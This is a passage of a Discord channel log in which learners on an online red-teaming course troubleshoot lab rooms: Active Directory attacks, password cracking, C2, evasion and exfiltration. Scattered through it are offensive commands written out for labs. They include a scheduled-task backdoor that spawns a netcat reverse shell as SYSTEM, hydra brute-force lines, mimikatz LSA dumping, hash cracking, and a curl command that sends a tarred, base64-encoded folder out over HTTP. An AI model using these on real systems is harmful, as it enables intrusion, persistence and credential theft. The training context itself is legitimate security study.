#red-teaming-path

1 messages · Page 5 of 1

meager shell
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Now it semms working but really slow

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I've removed the - in -F=

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If I remove e -F= I got "[ERROR] Wrong syntax, requires three arguments separated by a colon which may not be null: /login-post/index.php"

spare depot
meager shell
spare depot
tepid quartz
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Not sure if this is the right place to pose this question, but I'm having an issue answering a question under the "Red Team Threat Intel" room. Question asked is:

What web shell is APT 41 known to use?

I can't figure out if they are referring to the script language or the type of web shell. I've tried JScript as an answer. I've tried reverse (as in reverse shell). These seems like the only two possibilities that fit the number of characters permitted.

meager shell
meager shell
foggy compass
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Has anyone encountered KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP on persistingad::Task4 when using Rubeus to request a TGT? Any ideas how to solve it?

minor garnet
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hey any one here

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hey ane here to help us

ivory verge
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hi, would like to ask about the room - Active Directory basic room, in the third section, where it showed us how to use the delegation to allow phillip to change other users password. I did exactly the same as it showed, but somehow, i keep getting access denied when i logged to Phillip account via RDP on the window’s software, and using the power shell to change other user’s password. i tried to reboot the whole machine, if anyone also had the problem? thanks

oblique marsh
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@ivory verge You using the password displayed ? (Claire2008) And spell phillip correctly also.

ivory verge
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i thinks i figured it out, the problem is i started logging in the first place wtih phillp account and try to change his priviledge to reset other user account, instead of logging in as the admin first. i believe this was the problem? so i think its a mistake i made because i was doing this task on different day and forgot about logging in as admin firrst

rough plinth
alpine wedge
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is anyone familiar on how to set up the covenant c2 over the internet

hexed vessel
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I'm on the Abusing Scheduled Tasks task. I have achieved all the flags in a single session, but in flag 9 I cannot achieve it. I have tried several times with no results.

C:\flags>flag9.exe
flag9.exe
Sorry! You are still missing something. No flag for you yet. (eleven)

any suggestions?

hexed vessel
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I have already obtained all the other flags

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note say! Note: Be sure to use THM-TaskBackdoor as the name of your task, or you won't get the flag.

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schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe 10.14.55.42 4449" /ru SYSTEM

mossy thicket
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hey all when it comes to os fingerprinting how reliable it is ?

spare depot
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To which are you referring to as being reliable for OS fingerprinting?

mossy thicket
spare depot
vast quest
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Yeah, it makes the decision based on responses.

short forge
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Hello All - I'm doing the Credential Harvesting module and I'm on Task5. I've dumped lsass.exe to a dump file. What tool would be used to analyze this file and harvest the credentials out of it? https://tryhackme.com/room/credharvesting

lethal plover
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Hi I'm in the phishing room doing the GoPhish simulation - Task 5 - I've followed the instructions step by step, however I still haven't received a password from the user Brian, nor has the e-mail been opened by anyone. Can anyone help me with this?

lethal plover
opal orchid
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how is it possible for me to open 2 vms via the website, to do the weponisation stuff with html

nocturne sorrel
oblique marsh
silk galleon
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Hi, can anyone confirm that the rooms 'Breaching Active Directory' and 'Enumerating Active Directory' are free or not?

spare depot
silk galleon
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Oh I see thanks.

mortal carbon
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Hi guys, I have a problem with the Room "Password Attacks" task 8. It asks me to perform a brute-forcing attack against the user phillips using hydra. I entered the command but it found 0 valid passwords.
My command:
hydra -l phillips -P clinic.lst 10.10.76.50 http-get-form '/login-get/index.php:username=^USER^&password=^PASS^:F=Login failed!'

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When I try it with burp suite I get a few passwords with the code 200 and one of those passwords is the right one, but with hydra, no luck

royal void
lime finch
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Hi, I'll be finishing the Jr. pentester path soon and I'm not sure if I should go with the offensive pentesting or red teaming path afterward 🤔 . Sometime ago I started the offensive pentesting path (31%) but now I'm not sure if I should finish it first or come to this path. Any suggestions?

spare depot
thin irisBOT
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Gave +1 Rep to @spare depot (current: #25 - 309)

mortal carbon
royal void
mortal carbon
thin irisBOT
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Gave +1 Rep to @royal void (current: #4 - 1604)

lean mist
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I completed the Red Teaming path yesterday! I did it after je pentestee so it was a steep curve.

Now I'm going to take it a little easier and try my hand at some offensive pentesting rooms

lethal plover
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Hi all, I'm having issues with task 7 in the Windows Internal Room. I executed the executable and got a pop-up message with the flag, but when I entered the flag for the answer it wasn't accepted as correct.

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I don't know if I should post the screenshot of the flag in this room, maybe I can DM it to whoever can help me?

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Just to note that copy and paste wasn't possible with the pop-up message box.

lethal plover
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Hi all, would appreciate some help with my issue. 🙂 Not sure if there's any more information I can put here without revealing the flag. Also please let me know if this is the wrong room for this question. I have also posted it to #room-help with no response.

royal void
lethal plover
royal void
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still good you could figure it out on your own

lethal plover
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I do have another question regarding the same room "Windows Internals" but for Task 5.

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For the question - How many DLLs were loaded by "notepad.exe"?

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I filtered all the "Load Image" operations for the notepad.exe process

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There should be 52 DLLs loaded? But that's not the expected answer.

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Does that mean some of the 52 are not counted as "DLLs"?

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@royal void would appreciate your help if you have some ideas. 🙂

royal void
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could be duplicates too.... but not sure

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to be honest shadow don't recall doing this room

lethal plover
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No worries appreciate you replying. 🙂

oblique marsh
lethal plover
thin irisBOT
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Gave +1 Rep to @oblique marsh (current: #367 - 12)

languid shoal
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Am I doing this incorrectly? I assume since the port is closed and I can't open it.

languid shoal
# languid shoal https://tryhackme.com/room/signatureevasion Task 5 | tags SCP

Solution: ||From win machine; scp Desktop\Binaries\shell.exe root@10.10.xx.xx:/root/Desktop/||
||https://www.youtube.com/watch?v=2mB4CkyMhkk||

floral sinew
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Hello, room Password Attacks task 8: I used default credentials to access the remote machine via FTP. Using the "dir" command just tells me there are 2021 files in the current remote directory.... I guessed the name of the flag and used the "get" command but I get "550 Failed to open file" so the file does not exist... Is it that hard to get the flag or its just me missing something?

tropic ginkgo
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What’s a good recommendation for CEHv12 practice exam questions?

spare depot
languid shoal
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What to use when I have no eth0 interface? I tried ens5 interface but it didn't seem to work.

spare depot
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What room or network are you working on?

languid shoal
spare depot
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Can you also run show options in msfconsole?

languid shoal
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I know it says eth1 rn but i changed to ens5 upon running

spare depot
# languid shoal

It says the interface isn't required, did you try running the module without it?

thorny matrix
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I'm reading about OPSEC vulnerabilities right now, and I'm confused by one about a vulnerable database

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Ohhh nvm

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Red team collects phishing data -> RT stores phishing data in their own vulnerable database -> RT exposes client's data

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I see

languid hornet
languid shoal
rugged hound
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Hi! How can I enable the preset from postgresql?

tropic ginkgo
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I need help with the password attacks room for task 8 question 2. I added [List.Rules:THM-Password-Attacks]
Az"[0-9][0-9]" ^[!@]

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to the bottem and launched hydra with:

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it was not working so I checked anser and it is in wordlist

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I am connected to vpn

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I watched totorials and it wasnt working for them either

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pls help

acoustic sky
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bruh

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changed machine ip , vpn , even with kali attack box nothing is working

spare depot
acoustic sky
fresh coral
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It probably won't respond to pings then, can you RDP in as I think the room wants you to? (If you are in Weaponization room like I think you are)

acoustic sky
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ok

fresh coral
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Cool then you should be good to go

acoustic sky
thin irisBOT
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Gave +1 Rep to @fresh coral (current: #45 - 161)

tropic ginkgo
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I'm having an issue with Exploiting Active Directory - Exploiting Kerberos Delegation... I can't dump LSA with mimikatz. I've tried with a couple of t2 admin accounts.


  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM


mimikatz # lsadump::secrets
Domain : THMWRK1
SysKey : a1403e57976b472bce5f231922ca3942
ERROR kuhl_m_lsadump_secretsOrCache ; kull_m_registry_RegOpenKeyEx (SECURITY) (0x00000005)```
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I would really appreciate some help or insight

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also, it's not a huge deal, but task 2 mentions logging into thmjmp1 instead of thmwrk1 under the Add Member section: "Start PowerShell (either in RDP or via SSH) on the THMJMP1 host and run the following command to add your account:"

tropic ginkgo
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I figured out my mistake. I wasn't using the t2_<username>'s

peak cipher
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I'm curious in the Active Directory Credential Harvesting room in Task 4 we dumped the SAM and SYSTEM files and used impacket's secretsdump.py to decrypt them. This gives us the local hashes but not the ones for the AD accounts. The room states To Decrypt them, we need to dump the SECURITY file from the Windows file, which contains the required files to decrypt Active Directory accounts.

I grabbed the ...\config\SECURITY file and tried to run that through secretsdump.py but got the error [-] 'NoneType' object is not subscriptable. How do we use the SECURITY file?

spare depot
peak cipher
sterile vapor
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👋
Working through https://tryhackme.com/room/bufferoverflowprep an I've got a nice script working to walk through the various payloads.
One thing I can't explain is the variability - some commands I'll get a shell first try, 1-2 on the second, and of OVERFLOW4 I can't seem to get the shell at all.
I was able to debug a wierd output comparing bytearrayswrong EIP (I had inverted 2 digits in the EIP offset, so my payload was shifted ~50 bytes) using the Follow in Dump command (and understanding of the payload sent);

Can anyone help point me to a resource/tip that might help me understand why my payload/formula/script isn't working for this specific command?

steep frigate
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I'm having some issues with why John is ignoring the --rules=THMRule option when using --wordlist and instead just processes the wordlist through Jumbo or even All no matter which rule section I specify

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If anyone has suggestions or time to assist me, I would greatly appreciate it

untold cypress
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hi guys, I wanted to ask about kerberos plz, I noticed on many blogs that the KRB_AS_REQ uses password hash to encrypt the message
so it means if I have the hash without the password I can either:
1- impersonate him and get access to things that he has access to
2- be able to decrpyt the messages he send if I could somehow man-in-the-middle

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right?

tight copper
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how do y'all do that idk anything

kind egret
# untold cypress hi guys, I wanted to ask about kerberos plz, I noticed on many blogs that the KR...

@untold cypress Yes, user's password hash is used to encrypt timestamp in Kerberos pre-authentication.

Having the user's hash you can impersonate the user in several ways.

I cannot think of useful ways one could decrypt the user's traffic (like related to NTLM or Kerberos you mentioned).

Without going too deep in Kerberos here, AS-REQ is only the beginning of Kerberos authentication and messaging. After that the messages, like related to requesting service tickets and service access, are signed / encrypted with other keys too.

untold cypress
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@kind egret what I meant for the impersonation point:
if I can send the first message as user "Alice" at first using her hash then I can impersonate her because I am the one that the keys will be shared with, but for decryption I don't know if the hash is enough since there is other requests and keys

thank you for confirming

thin irisBOT
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Gave +1 Rep to @kind egret (current: #561 - 7)

empty pawn
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So I'm at c2 room

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What is the difference between dns vs smb vs http/ https tuning

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???

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And why to choose one over the other

sterile iris
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I'm having an issue in the room "Breaching Active Directory" Task 4: https://tryhackme.com/r/room/breachingad. I have confirmed I am connected to the active directory vpn and the network state for the simulated ad is running. I've gone through all the steps in the room and I'm still getting the "supportedCapabilites message when pinging from the printer website:

#
└─# sudo dpkg-reconfigure -p low slapd
  Backing up /etc/ldap/slapd.d in /var/backups/slapd-2.5.13+dfsg-5+b3... done.
  Moving old database directory to /var/backups:
  - directory unknown... done.
  Creating initial configuration... done.
  Creating LDAP directory... done.

┌──(root㉿kali)-[/home/kali/Desktop]
└─# sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "cn=config"
     
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: LOGIN
supportedSASLMechanisms: PLAIN
      
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -lvp 389                                                                                    
listening on [any] 389 ...
10.200.97.201: inverse host lookup failed: Host name lookup failure
connect to [10.50.94.24] from (UNKNOWN) [10.200.97.201] 49761
0�Dc�;

x�
  objectclass0�supportedCapabilities0�P0�Fc�= 
cloud gust
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Doing intro to C2, on the Command Control and Conquer and armitage is not on the attack box and it doesnt tell me how to install it

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running armitage doesnt show anything installable

vast quest
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Armitage is no longer supported

That's possibly why

viscid oxide
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Did anyone have issues on "AV Evasion: Shellcode" on the first shellcode section? I get this whenever I try and compile on the attackbox

tropic ginkgo
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I tried to install it from GitHub repo

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But i am not able to open the interface

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Even Installed Java - 11 too

fossil storm
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hi, I am on task 7 of the Signature Evasion room,~~ I dont see where to upload the final exe to get the reverse shell. Any advices? Thank you~~ my bad, didn't start task 7 instance, thought it used the same as task 1

spare depot
covert narwhal
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Hello

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AD Exploit Room

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SMB access id denied

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How to fix it

lethal plover
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Hi I'm stuck on task 2 of the Signature Evasion room, I've split the binary to below the kilobyte range, but my answer is not accepted as correct. I don't know if a decimal or hexadecimal format is accepted, or if I'm going about this the wrong way?

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Also I tried to use ThreatCheck in task 3 to verify my answer to task 2, but I got this exception when running ThreatCheck:

fossil storm
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Can i have 3 more votes to reset the network in the Exploiting Active Directory room?

vast quest
fossil storm
lethal plover
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Hi I'm trying to get the flag for task 10 in the "Evading Logging and Monitoring" room. I've followed the walkthrough to disable script block, script block invocation and module logging as well as to clear logs from "Windows Powershell" and "Application/Microsoft/Windows/PowerShell/Operational" locations, however when running the agent I still get the "Traffic halted, you got caught" message. Is there anything else I didn't do?

lethal plover
lethal plover
spare depot
lethal plover
# spare depot Might be a custom message for the target?

Not too sure what that message is meant to convey though. With "Binary leaked" it's because agent.exe showed up in the logs but I'm not too sure what the correlation is between "traffic halted" and detection is. I'm probably missing something pretty obvious. 🙂

spare depot
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I haven't done the room yet, but from what I can understand, your binary touched a process it shouldn't, thus being detected.

lethal plover
lethal plover
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Hi as previously reported for task 3 of the Signature Evasion room I keep on getting the following exception: "IOException: The process cannot access the file 'C:\temp\file.exe' because it is being used by another process" whenever I run ThreatCheck.exe on shell.exe. This is stopping me from finishing Task 3. Anyone has any ideas how to solve this, or is it a bug in the room?

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New screenshot here:

lethal plover
lethal plover
outer cobalt
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Hey all, I'm working on the "Online Password Attacks" Q#3 that requires a login-get URI. I feel that I'm trying the correct hydra command but I get nothing back. My command is "hydra -l phillips -P clinic.lst 10.10.x.x http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f", I've also tried S=302 and get nothing either. Can anyone tell me where I'm going wrong?

acoustic wave
acoustic wave
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Sorry that I ask, but you never know...

vast quest
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Redacting Ip's is bad IMO, I can't help fully without knowing the IP.

Sometimes people launch the attackbox and use that IP and wonder why stuff doesn't work.

acoustic wave
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I don't see how it's different from yours, but it works.

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What I don't understand is why this doesn't work: hydra -l phillips -P clinic.lst 10.10.x.x http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:F=failed"
If I send a request manually the response contains "failed", so the F= should match that and hydra display everything that does not fail. Instead I get no result.

outer cobalt
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Yeah, I don't know. I've tried with the Kali attack machine and my personal Kali using the VPN. I get the same results, nothing.

acoustic wave
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I can DM you the password I get from the first one, which looks identical to yours, if you want. Still would like to know why my other version doesn't work.

outer cobalt
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I appreciate it. I was more interested in seeing if I was doing anything wrong. It seems like it may be an issue somewhere else.

fervent widget
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I got a question, how do I bring a file into one of the windows machines when there's no internet on the machine?
For context, I'm on Task 6 for the living off the land room.
I tried using Certutil and others, but I haven't been able to get the file onto the machine. Anyhow, thank you!

acoustic wave
fervent widget
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Okay, thank you I'm gonna try that right now

acoustic wave
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Not too relevant on THM, but for good measure: If you start an http server this way it makes every file in the same folder accessible. Also files you might not want to share with others. To be save: create a folder, put the file you want to move into the folder, cd into the folder and start the http server there.

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for example
mkdir server-dir mv myfile server-dir cd server-dir python3 -m http.server 4242

vast quest
proven storm
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i have a problem with Lateral Movement and Pivoting lap I cant get shell from psexec and I saw a clock with 45 is that mean this machine will disappear after 45 min?

surreal shale
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You can add an hour at any time

craggy oracle
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Hi team,
I just wonder to where Breaching AD room should redirect me. Now it's redirecting to My Rooms and I'm unsure how to continue study. Should I pick up some room from the list? I don't know which one.

spare depot
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For non-subscribers, there is usually a 7-day streak requirement before you are allowed access to those rooms.

craggy oracle
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Thank you. I'm on my way to subscribe again 🙂

shrewd olive
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Can anyone suggest tool name's which is used to build malicious apks like 888 rat, spynote etc

shrewd olive
# vast quest Why do you want to learn this?

Your question answers itself! My desire to become a hacker stems from a deep passion for cybersecurity and technology. Without knowledge of tools and technology, I can't achieve my goal of becoming a skilled hacker. It’s essential to start with the basics to build a solid foundation. This learning journey is crucial for anyone serious about mastering the art and science of hacking

vast quest
shrewd olive
# vast quest It makes you seem like you'd like to be a black hat hacker....

I want to learn hacking because understanding the tools and techniques used in cybersecurity is essential, regardless of how we label hackers. The distinction between black hat and white hat hackers is based on their actions and intentions, much like how we differentiate good and bad people. Learning these skills is crucial for anyone in cybersecurity. Even ethical (white hat) hackers need to know about these methods to effectively protect systems. It's about using this knowledge responsibly to secure and defend against potential threats.

vast quest
shrewd olive
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anyone could recommend some good reverse engineering resources like free Books, online courses, or tutorials. Thanks in advance!

sharp sierra
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lowlevellearning, one of the most low level and assembly type of youtubers, has a lot of videos on how to start learning, things to keep in mind, ctf challenges, rust, c, etc.

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other than that, I think crackmes.one offers a lot of ctf for reverse engineering

stone raft
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is there a way to copy and paste from the attack box to the 'start machine'?

spare depot
stone raft
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but i guess and can try what u suggested

surreal shale
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I paste into the search bar on the browser, and then copy from there, click on attackbox or targetbox. a box will appear that says 'paste' now your stuff is in clipboard

surreal shale
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I don't usually use split view

stone raft
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In Weaponization - task 2. the xfreerdp does not seem to be recognizing the credentials.

vestal mulchBOT
#
TryHackMe
Ollie
royal void
stone raft
# royal void probably because some of the characters are interpeted by the shell... try placi...

"xfreerdp /v:10.10.65.146 /u:"thm" /p:"TryHackM3" +clipboard
loading channel cliprdr
connected to 10.10.65.146:3389
SSL_read: Failure in SSL library (protocol error?)
SSL_read: error:14094419:SSL routines:ssl3_read_bytes:tlsv1 alert access denied
credssp_recv() error: -1
Authentication failure, check credentials.
If credentials are valid, the NTLMSSP implementation may be to blame.
Error: protocol security negotiation or connection failure"

royal void
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oh huh wonder what went wrong there

surreal shale
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Try /enforce-tlsv1_2

sinful grove
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Anyone get ad enumeration room open to your work?

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I keep getting problem with Tun vs Tap setting, and I cannot seem to find any help online

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I tried using the attackbox to complete the room, but the machine is not even connected to the adenumeration network

jaunty igloo
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Hello everyone. I have a question about the port used by wmi. Wmi does not need to use 5985 or 5986, right? These two ports are used by winrm.

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Remote Process Creation Using WMI
Ports:
135/TCP, 49152-65535/TCP (DCERPC)
5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
Required Group Memberships: Administrators

steep frigate
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Hi y'all, having an issue with the Breaching AD network, specifically configuring slapd rogue LDAP to only take PLAIN and LOGIN even with following directions from the room

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Attaching my modified config file and the cmds + outputs from making the changes. Would really appreciate some assistance, I'm sure I'm just overlooking something simple

untold wagon
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Hello all I have a question. In the Attack box how do I make myself a reg user and not root?

spare depot
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You could probably create a new user? Why though? There are commands or tools that need root-level access to run completely.

untold wagon
timber ermine
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Hi, i am in the following room (https://tryhackme.com/r/room/weaponization) Task 9. I am a little bit confused about the upload input. I uploaded my payload and visited it, but it is not working? Is this upload input just for confusing reasons?

sinful fern
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Did you set a listener on your own machine to wait on a call back?

wanton island
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Hello guys, password attacks room, task 4, question 2 (What is the crunch command to generate a list containing THM@% and output to a file named tryhackme.txt?) when I submit this answer => crunch 5 5 -t "THM@%" -o tryhackme.txt
it says answer is incorrect. I tried many many times with different answers but this is the correct one, tho its not working. any help?

glad sonnet
stone raft
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im a bit lost on task 4 of password attack, second question. according to the hint, i am to use "5 5" for the min-max character but the question requires 7 characters

stone raft
# vast quest You're looking for % # ?

in the empty answer box, there are asterisks that coordinates with the answer. "crunch 5 5 -t ******* -o tryhackme.txt". if I am to use THM@% which is 5 characters, this will not be proper since the asterisk require 7 characters. Im not sure what it is that i am misunderstanding with this problem.

stone raft
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does anyone have a working username_generator

vast quest
stone raft
thin irisBOT
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Gave +1 Rep to @vast quest (current: #1 - 2531)

stone raft
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what is the proper syntax for hydra using http-get-form. Im stuck on password attacks task 8. i used all the examples given but nothing is working, keep getting error messages

royal void
stone raft
royal void
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wrong target machine??

stone raft
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its the right target machine. the issue was that instead of "http://10.10.x.x" im suppose to put "http-get://10.10.x.x."

royal void
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oh nah

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hydra -l phillips -P clinic.lst 10.10.48.200 http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f

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this is the exact command shadow used to get the correct answer

stone raft
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ive tried that. it didnt work

royal void
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weird

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should work with the success statement pointing to the logout.php

stone raft
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i just checked my history of commands, i actually didnt do it exactly like that, i did leave one thing on there which gave the error

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so why is the question requesting a particular format when its not necessary?

stone raft
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password attacks;task 8, found the passwords for last two questions, but no flag. Now what?! isnt there suppose to be a login screen for me to test this?

wanton island
#

Hello guys, is there anyone facing a problem with connecting to Enumerating AD room VPN network?

2024-08-03 14:21:18 [server] Peer Connection Initiated with [AF_INET]54.171.116.83:1194
2024-08-03 14:21:18 TLS: move_session: dest=TM_ACTIVE src=TM_INITIAL reinit_src=1
2024-08-03 14:21:18 TLS: tls_multi_process: initial untrusted session promoted to trusted
2024-08-03 14:21:19 SENT CONTROL [server]: 'PUSH_REQUEST' (status=1)
2024-08-03 14:21:19 PUSH: Received control message: 'PUSH_REPLY,route 10.200.33.0 255.255.255.0,route-metric 1000,route-gateway 10.50.9.1,topology subnet,ping 5,ping-restart 120,ifconfig 10.50.9.2 255.255.255.0,peer-id 0'
2024-08-03 14:21:19 OPTIONS IMPORT: --ifconfig/up options modified
2024-08-03 14:21:19 OPTIONS IMPORT: route options modified
2024-08-03 14:21:19 OPTIONS IMPORT: route-related options modified
2024-08-03 14:21:19 Using peer cipher 'AES-256-CBC'
2024-08-03 14:21:19 Error: problem with tun vs. tap setting
2024-08-03 14:21:19 Exiting due to fatal error

I tried to regenerate network vpn but its still not working.

wanton island
#

BreachingAD and Lateral Movement and pivoting VPNs were working perfectly

vast quest
wanton island
thin irisBOT
#

Gave +1 Rep to @vast quest (current: #1 - 2562)

vast quest
wanton island
vast quest
wanton island
#

anyways, have a good day!

#

and thank you again ^_^

fickle veldt
#

in intro to c2

violet kestrel
#

Hi, I just finished the pre security path, for you can I directly engage the red teaming path?

spare depot
violet kestrel
spare depot
thin irisBOT
#

Gave +1 Rep to @spare depot (current: #11 - 644)

stone raft
#

I need a hint for windows privilege escalation task 7

spare depot
stone raft
#

I already called it a night. Ill try again later. but basically I cant get the administrator permission

spare depot
#

Is it the case study?

stone raft
#

yes

stone raft
#

using the instructions ive tried multiple ways to properly execute the Druva program but nothing seems to work. Ive read the whole task over and over again but still not understanding what it is im doing wrong.

#

everytime i run the command it just opens the file in notepad

blazing pecan
#

In the room AV Evasion: Shellcode I am trying to create new user to conclude the course and find a solution for task 2 but the last paylaod given (to test) does not work for the machine, I compiled the C# code, used Confuser and run the new program but telling me there is an error in the syntax of the command 😅, I think it comes from the fact that we are running 2 commands but does there is another way to add the user + add it to admin group?

#

When I tried to add my current user to admin group, it told me I can't do that so...

blazing pecan
#

I found the video of someone to complete the room but if someone has a valid payload, I take it :).

pine imp
#

I see several posts here regarding the BreachingAD network, dating back to 6+ months ago. I'm using the AttackBox and launching it from the BreachingAD page (as specified). The interface that is supposed to be on that box "breachad" is not present.

Did anyone find the proper room to get the proper launch conditions for that interface in particular, another room that launches the same one, or find config changes/workarounds other than connecting to OpenVPN on another box? I tried launching the AttackBox from all paths/modules yesterday, nothing different. And now that I'm thinking about it, none of the other boxes within this same AD path are launching with their labeled interfaces either, such as: lateralmovement or whatever else

https://tryhackme.com/r/room/breachingad

vast quest
pine imp
#

On the built-in AttackBox?

vast quest
#

Yes.

pine imp
#

Sure. Where?

vast quest
#

In the NetworkConfig directory on the Desktop.

pine imp
#

All are blank

vast quest
#

That's why there is no interfaces.

#

You'll need to leave the room with options and try a new subnet.

pine imp
#

Does that mean leave the room and just re-join it?

vast quest
#

With the options menu

pine imp
#

Is this what you're saying?

Leave with the options menu. Then just re-join the room?

vast quest
#

Yes.

pine imp
#

Tried that yesterday and again just now. Still all blank.

pine imp
#

Anyone have ideas on getting Attackbox to grab the right configs for these boxes?

pine imp
#

I took the time to remove myself from ALL rooms (9 pages) I had previously joined. It fails to remove me from only 1, Active Directory Basics.

I wonder if this is causing some odd conditions since I can't actually leave it or join it properly. 🤷‍♂️ (Still doesn't get the correct VPN files)

radiant mesa
#

Hey goofy question:

#

I'm in the Data Exfiltration room and trying to use tmux on the jump box

#

the split windows commands aren't working

#

I've tried ctrl-b + %

#

ctrl-b followed by percent

#

and nothing happens

#

Am I missing a step after opening tmux from the thm@jump-box session?

#

Thank you to any and all who see this btw!

#

lol figured it out...

heavy thunder
#

this path is too confusing for me, is there anything I could do to gain enough knowledge about what I'm dealing with?

fresh coral
#

There is a recommended order to do the learning paths in the pins of #general that may be helpful to you or you could do some outside research on specific things you find confusing and find dedicated resource for those given topics.

#

Hard to give specific recommendations without knowing what you don't feel like you have enough knowledge on

fresh coral
#

Did you take notes during all of that? Did you do more research whenever you wanted to known more about something or were confused? There is a lot to learn for sure, it takes a while to get to know these things

heavy thunder
fresh coral
#

Well notes are very important in the this field, you're not going to remember everything, but if you have solid notes to reference that goes a long way

#

Perhaps start taking some?

heavy thunder
#

maybe I should but idk how and what to note

fresh coral
#

Everyone takes notes differently, best to just start trying and see what ends up working for you

heavy thunder
#

especially windows rooms, I struggle with them the most

stone raft
#

in "Red Teaming>Post Compromise>Windows Local Persistence>task4(abusing services), I properly put in the command to create the service then used the command to start the service. The command to start the service fails. What am i missing? Ive tried in both cmd and PS. both services were created successfully.

heady mauve
#

I can't able to join room for the active Directory rooms like Breaching Active Directory .

vast quest
heady mauve
#

No

vast quest
#

Ah, those are required to join the room.

stray bloom
#

Hey i’m interested in the red path can someone provide me some guidance? what should i do in what order

cosmic plank
pine imp
#

@vast quest First time I'm checking since last month, network interfaces seem to be up on the attackbox now for the Active Directory rooms. Probably already confirmed working by now but just another heads/thumbs up.

hidden plaza
tropic ginkgo
#

Does the red teaming path just... not give any points at all? kind of sad for a "Hard" difficulty path to not be increasing my THM score 🙂 not a big deal, though. Just a shame to be spending tens of hours on something and not contributing to my team's achievements goals re: points per month

limber hamlet
#

Hey guys, Is Red Teaming Path is enough to pass CRTP ???

spare depot
worthy carbon
#

Crtp has training with the voucher right just go through that heard thats enough to pass and the AD rooms in thm could help a bit but not necessary the CRTP course is enough to pass it

devout dust
#

Hi all, i need help. Data Exfiltration on task 8, after Edit Netplan Configuration File and try to Apply the Netplan Changes, i got an error messege like this, how to fix it?

forest pilot
#

hi

sonic hornet
#

hey guys i'm new here

#

how can i join red team can someone help me

arctic mulch
thick geyser
#

@rare ravine nah that is my firstime to see the guy dethrone me in the king

#

youre toying me

rare ravine
thick geyser
#

@rare ravine wait im investigating like a pro forensic analyst

thick geyser
#

i just stuck inside the vim and i cannot go out lmfao

#

i hate vim so much

rare ravine
#

needs tty

thick geyser
#

hmm this must be a kind of superuserland been used

#

upon my forensic invistigation i just found myself dumb

#

@rare ravine we are in the wrong channel

#

lmfao

thick geyser
#

i finished the breaching AD a while ago w/o a problem

#

now in enumerating AD seems to be the problem cant get the creds

#

i can ping the THMDC

#

is this the reason why i cannot get the creds? its down? lol

vast quest
#

Yes.

thick geyser
#

nahh it's down since a while ago almost 7hrs 🥲

vast quest
#

But it's still restarting.

thick geyser
bronze sierra
#

thm@victim1:~$ curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php
curl: (7) Failed to connect to web.thm.com port 80: Connection refused
Data Exfiltration Room. Not sure why I am getting this error. Its on attackthebox, I literally followed a walkthrough step by step and for some reason this command just is not having it

#

task6

#

exfiltrate using http(s)

minor garnet
#

Hi

pine imp
#

Just a heads up, the thm user (in admin shell) in Credential Harvesting within the Red Team Path can read the AdmPwd without needing to use the creds for bk-admin in Task 8. You already have those creds by that point, so not the end of the world. Just unsure if that was the intention or not.

bronze sierra
#

signature evasion task 2 poorly explained

#

the GIF that was originaly there needs to be put back

spare depot
vestal mulchBOT
bronze sierra
#

I have finished the room anyway now but in case u need feedback or change things

dapper berry
thick geyser
#

yes and not depends on you

#

but a lot of writeups outhere

mint palm
#

Anyone had this problem too? I'm at Task 5 Offline Attacks - Dictionary and Brute-Force and I want to answer Q2.
I have this Input and Output:
hashcat -m 100 -a 0 8d6e34f987851aa599257d3831a1af040886842f /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1-66-g6a419d06) starting...

  • Device #2: Outdated POCL OpenCL driver detected!

This OpenCL driver has been marked as likely to fail kernel compilation or to produce false negatives.
You can use --force to override this, but do not report related errors.

clCreateContext(): CL_DEVICE_NOT_AVAILABLE

Started: Sat Nov 23 10:17:07 2024
Stopped: Sat Nov 23 10:17:07 2024

limber geyser
#

1. Update Hashcat:

You're using an older version (v6.1.1). Update hashcat to the latest version:

sudo apt update && sudo apt install hashcat -y

2. Update OpenCL Drivers:
Check your GPU's driver and ensure it supports OpenCL properly:

For NVIDIA GPUs: Install the proprietary driver and CUDA toolkit.

sudo apt install nvidia-driver-<version> nvidia-cuda-toolkit

For AMD GPUs: Install ROCm or proprietary AMDGPU drivers.

For Intel GPUs/CPUs: Install Intel OpenCL Runtime.

3. Run Hashcat in CPU Mode: If no GPU is available or drivers cannot be updated, use CPU-only mode:

hashcat -D 1 -m 100 -a 0 8d6e34f987851aa599257d3831a1af040886842f /usr/share/wordlists/rockyou.txt

The -D 1 flag forces hashcat to use the CPU.

4. Force Execution: If you're confident in your setup but still see the warning, you can use the --force flag:

hashcat --force -m 100 -a 0 8d6e34f987851aa599257d3831a1af040886842f /usr/share/wordlists/rockyou.txt

5. Verify OpenCL Installation: Test if OpenCL is working on your system using the following command:

clinfo

If no devices are listed, recheck your drivers.


6. Alternative Workaround: If the issue persists, you can:

Use an online cracking tool for learning purposes (ensure it's a safe and legal platform).

Use a preconfigured VM with a compatible environment, such as those provided by TryHackMe ```
#

Let me know if this works hackerman

#

You can also use the John ripper tool


echo "8d6e34f987851aa599257d3831a1af040886842f" > hash.txt


2. Identify the Hash Type: You mentioned -m 100 in hashcat, which corresponds to SHA-1. John automatically detects the hash type, but if needed, you can specify the format.


3. Run John with the RockYou Wordlist: Use the following command to crack the hash with the RockYou wordlist:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt


